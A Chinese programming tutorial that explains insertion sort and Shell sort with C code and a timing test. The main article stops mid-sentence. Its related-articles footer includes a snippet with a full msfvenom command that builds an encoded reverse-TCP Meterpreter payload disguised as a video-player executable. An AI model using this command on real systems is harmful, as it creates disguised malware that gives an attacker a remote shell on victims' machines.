插入排序——希尔排序

希尔排序其实就是一种插入排序,实际上就是通过直接插入排序一步步改进优化而实现的。所以在了解希尔排序之前要明白插入排序的实现原理。

插入排序

 其实我觉得插入排序也可以叫做摸牌排序,就是从第二张牌开始处理,将摸到的牌按照合适的顺序插入到对应的牌堆里。

代码展示

void InsertSort(int* arr, int n)//n是元素个数
{
    //实现升序
	int i, j;
	for (i = 1; i < n; i++)//插入的每一个数,从第二个数开始
	{
		int tmp = arr[i];//临时存放
		for (j = i - 1; j >= 0; j--)//往已经排序好的数据中比较插入
		{
			if (tmp < arr[j])
				arr[j + 1] = arr[j];
			else//大于前面的值
				break;
		}
		//最小值或者是break了
		arr[j + 1] = tmp;
	}
}

 其实插入排序从第二个数开始的原因就是为了保证前面的牌都是有序的,并且将需要插入的牌临时存放起来,并依次与前面的有序牌一一比较,将前面较大值的牌向后移动一位,直到循环停止或者是前面的牌较小即停止,开始插入。

 时间复杂度

以最坏的情况考虑(逆序),外层循环是待进行插入的数,内层循环是比较并插入,即:1+2+3+...+(n-1) 等差数列求和,故为 O(n^2)

但是相较于冒泡排序而言虽然复杂度相同,但是所花费的时间肯定是要更少的。因为冒泡排序是每执行一次将最值移动到最右侧,而每一次的比较是必不可少的,而插入排序实现时,每次待插入牌的前面都是有序的牌,所以并不一定与前面的每一个数都要进行比较,可能中途就已经比较出结果了。

希尔排序

当一个数据是完全逆序的话,插入排序其实也并不比冒泡排序好到哪里去,比方说想要排成升序的话,第一个数是最大的,那每次插入数据时,最大的数都要发生移动,并且是每次移一个位置,所以我们可不可以优化一下插入排序呢,此时名为希尔的人就站了出来。

希尔排序法又称缩小增量法。其实希尔排序就是多次的插入排序,只不过分为预排序和直接排序。而前面了解到了直接排序,而直接排序时是将所有的数都分成一组进行一次排序直接将无序变成有序,即这一组相邻数据之间的差距就为1。但是为了减少不必要的麻烦,所以我们就进行预排序将所有的数据中相邻为gap的分为一组,那么也就有gap组,预排序的效果就是使得原数据接近有序。

预排序

 此时预排序的代码是这样的:


void PreSort(int* a, int n)
{
	int gap = 3, i, j, k;
	for (i = 0; i < gap; i++)//gap组
	{
		for (j = i+gap; j < n; j += gap)//对每一组的插入排序(相邻gap的为一组)
		{
			int tmp = a[j];
			for (k = j-gap; k >=0; k -= gap)
			{
				if (tmp < a[k])
					a[k + gap] = a[k];
				else
					break;
			}
			a[k + gap] = tmp;
		}
	}
}

下面是gap=3时进行一次预排序之后 的结果

 预排序其实就是分组的插入排序,相邻为gap的为一组,将每一组再进行插入排序,这样就可能避免每次插入数据时都要移动数据,并且只移动一位的情况,所以就可以通过分组,每次发生比较移动时移动gap位,这样虽然是看着挺复杂的,但是仔细观察会发现这样移动的次数会大大打折扣。

代码优化一

void PreSort(int* a, int n)
{
	int gap = 3, j, k;

	for (j = gap; j < n; j++)//插入排序(相邻gap的为一组)
	{
		int tmp = a[j];
		for (k = j-gap; k >=0; k -= gap)
		{
			if (tmp < a[k])
				a[k + gap] = a[k];
			else
				break;
		}
		a[k + gap] = tmp;
	}
	
}

这样是不是就少写了一层循环呢,其实只是代码优化了一下,效率其实都是一样的。

优化前其实就是按照分好的组进行一组组的插入排序,而这个就并没有很规矩的按照一组组的来排序,就是从gap后面的数开始插入,但是实质上是一样的,也是按照组别来进行比较插入数据的,简称多组并排。

优化二

其实当gap=1是你会发现不恰好就是直接插入排序嘛,gap越小,每一组的数据间隔也就越小,分的组别也就越少,所以,gap越小时,更大的数就越慢的往后挪动,预排序之后就越接近有序;相反gap越大时,更大的数就越快的往后挪动,预排序之后就越不接近有序。 

所以此时就应该在gap上做文章,从大到小就是好选择,既可以使大的数更大步率地向后移动,也可以使数据越来越接近有序。

void ShellSort(int* a, int n)
{
	int gap = n, i = 0, j = 0, k = 0;
	
	
	while (gap > 1)
	{
		gap = gap / 3 + 1;//使gap越来越小,越来越接近有序,+1为了保证最后一次一定是gap=1(直接插入排序) gap不同分组的情况也不同

		for (j = gap; j < n; j++)//插入排序
		{
			int tmp = a[j];
			for (k = j - gap; k >= 0; k -= gap)//与前面的数(相差gap为一组)一一比较
			{
				if (tmp < a[k])
					a[k + gap] = a[k];//右移
				else
					break;
			}
			a[k + gap] = tmp;
		}
	}

}

第一次gap=n/3+1时就将数据分成了gap组,每一组n/gap个数也就是差不多三个数,虽然看着循环是三层,但是移动数据的次数会大大减少。

排序效率比较

int main()
{
	srand((unsigned int)time(NULL));
	const int N = 100000;
	int* a1 = (int*)malloc(sizeof(int) * N);
	int* a2 = (int*)malloc(sizeof(int) * N);
	int* a3 = (int*)malloc(sizeof(int) * N);
	assert(a1 && a2 && a3);
	for (int i = 0; i < N; ++i)
	{
		a1[i] = rand();
		a2[i] = a1[i];
		a3[i] = a1[i];
	}
	int begin1 = clock();
	InsertSort(a1, N);
	int end1 = clock();

	int begin2 = clock();
	ShellSort(a2, N);
	int end2 = clock();

	int begin3 = clock();
	HeapSort(a3, N);
	int end3 = clock();

	printf("InsertSort:%d\n", end1 - begin1);
	printf("ShellSort:%d\n", end2 - begin2);
	printf("HeapSort:%d\n", end3 - begin3);

	free(a1);
	free(a2);
	free(a3);
	
	return 0;
}

 这里单位都是毫秒,可以看出希尔排序和堆排序是一个级别的,而堆排序的时间复杂度是O(nlogn),而据发现希尔排序时间复杂度大约是O(n^1.3)。所以说希尔排序是很

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33182.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决 An attempt was made to call a method that does not exist. 问题详解

哈喽大家好&#xff0c;我是阿Q。今天在开发代码的过程中&#xff0c;由于手抖&#xff0c;不知道引入了什么包依赖&#xff0c;导致项目启动一直报错&#xff0c;特写本文来记录下解决问题的经过。 文章目录 问题描述报错信息如下报错描述 解决方法总结 有想赚点外块|技术交流…

苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问&#xff0c;Vision Pro在眼球追踪手势的融合交互体验上&#xff0c;给AR/VR头戴设备带来了新突破&#xff0c;在用户体验上的提升非常明显。 ​那么&#xff0c;为什么Vision Pro上这一功能会被如此值得关注呢&#xff1f;为了弄清楚&#xff0c;我们先来看看主流VR设…

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备&#xff0c;其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的&#xff1f;解决碎片率大的问题&#xff1a;内存使用率内回收key 在web服务器中&#xff0c;高可用是指服务器可以正常访问的时间&#xff0c;衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址&#xff0c;端口&#xff0c;协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置&#xff08;Imagenet21k-pretraining&#xff09;finetuning 参数配置&#xff08;Imagenet-1k&#xff09; 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache &#xff08;在启动即可&#xff09; 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理&#xff1a;李雅新&#xff0c;天津大学硕士&#xff0c;研究方向为知识图谱补全 链接&#xff1a;https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题 最近组装了一台高配置的新电脑&#xff0c;装好了各种驱动、软件等。发现系统开机后卡顿一分钟左右&#xff08;加载应用配置等&#xff09;&#xff0c;但是我的系统启动项明明就没多少&#xff0c;不应该是这样的情况&…

人工智能(AI)在金融行业的应用

人工智能&#xff08;AI&#xff09;技术在金融行业的应用日益广泛&#xff0c;为金融机构提供了更高效、更智能的解决方案。以下和大家分享AI在金融行业的一些主要应用&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0…

Android 13(T) - binder阅读(5)- 使用ServiceManager注册服务2

上一篇笔记我们看到了binder_transaction&#xff0c;这个方法很长&#xff0c;这一篇我们将把这个方法拆分开来看binder_transaction做了什么&#xff0c;从而学习binder是如何跨进程通信的。 1 binder_transaction static void binder_transaction(struct binder_proc *proc…

Docker-DockerFile制定镜像

本文已收录于专栏 《中间件合集》 目录 概念说明DockerDockerFile 提供服务指令解析应用实例常用命令总结提升 概念说明 Docker &emspDocker是一种开源的容器化平台&#xff0c;它可以将应用程序及其依赖项打包到一个独立的、可移植的容器中&#xff0c;以实现快速部署和跨…

【0212】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 2)

文章目录 1. 回顾2. 密码校验通过3. 密码校验失败上一文:【0211】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 1) 1. 回顾 在上一节内容中,讲解了Backend对于接收到来自frontend的字符串明文密码,和来自于来自pg_auth…

【网络原理】TCP/IP协议五层模型

&#x1f94a;作者&#xff1a;一只爱打拳的程序猿&#xff0c;Java领域新星创作者&#xff0c;CSDN、阿里云社区优质创作者。 &#x1f93c;专栏收录于&#xff1a;计算机网络原理 本期讲解协议、OSI七层模型、TCP/IP五层模型、网络设备所在的分层、数据的封装和分佣。 目录 …

STM32速成笔记—RTC

文章目录 一、RTC简介二、STM32的RTC2.1 主要特性2.2 RTC框图介绍 三、访问后备区域步骤四、RTC配置步骤五、RTC程序配置5.1 RTC结构体定义5.2 RTC初始化函数5.3 设置年月日&#xff0c;时分秒5.4 判断闰年函数5.5 获取当前年月日&#xff0c;时分秒5.6 获取星期几5.7 中断服务…

ModaHub魔搭社区:安装、启动 Milvus 服务(GPU版)教程

目录 安装、启动 Milvus 服务 安装前提 操作系统 硬件 软件 确认 Docker 状态 拉取 Milvus 镜像 下载并修改配置文件 启动 Milvus Docker 容器 常见问题 接下来你可以 安装、启动 Milvus 服务 CPU 版 Milvus GPU 版 Milvus 安装前提 操作系统 操作系统 版本 Ce…

Windows下安装ClickHouse图文教程

文章目录 1.安装WSL21.1启用适用于 Linux 的 Windows 子系统1.2启用Windows虚拟机功能1.3将WSL2设置为默认版本1.4下载Linux内核更新包1.5安装Linux子系统1.6设置账户和密码 2.安装Docker2.1下载与安装2.2设置镜像地址 3.安装Clickhouse3.1拉取镜像3.2启动clickhouse-server3.3…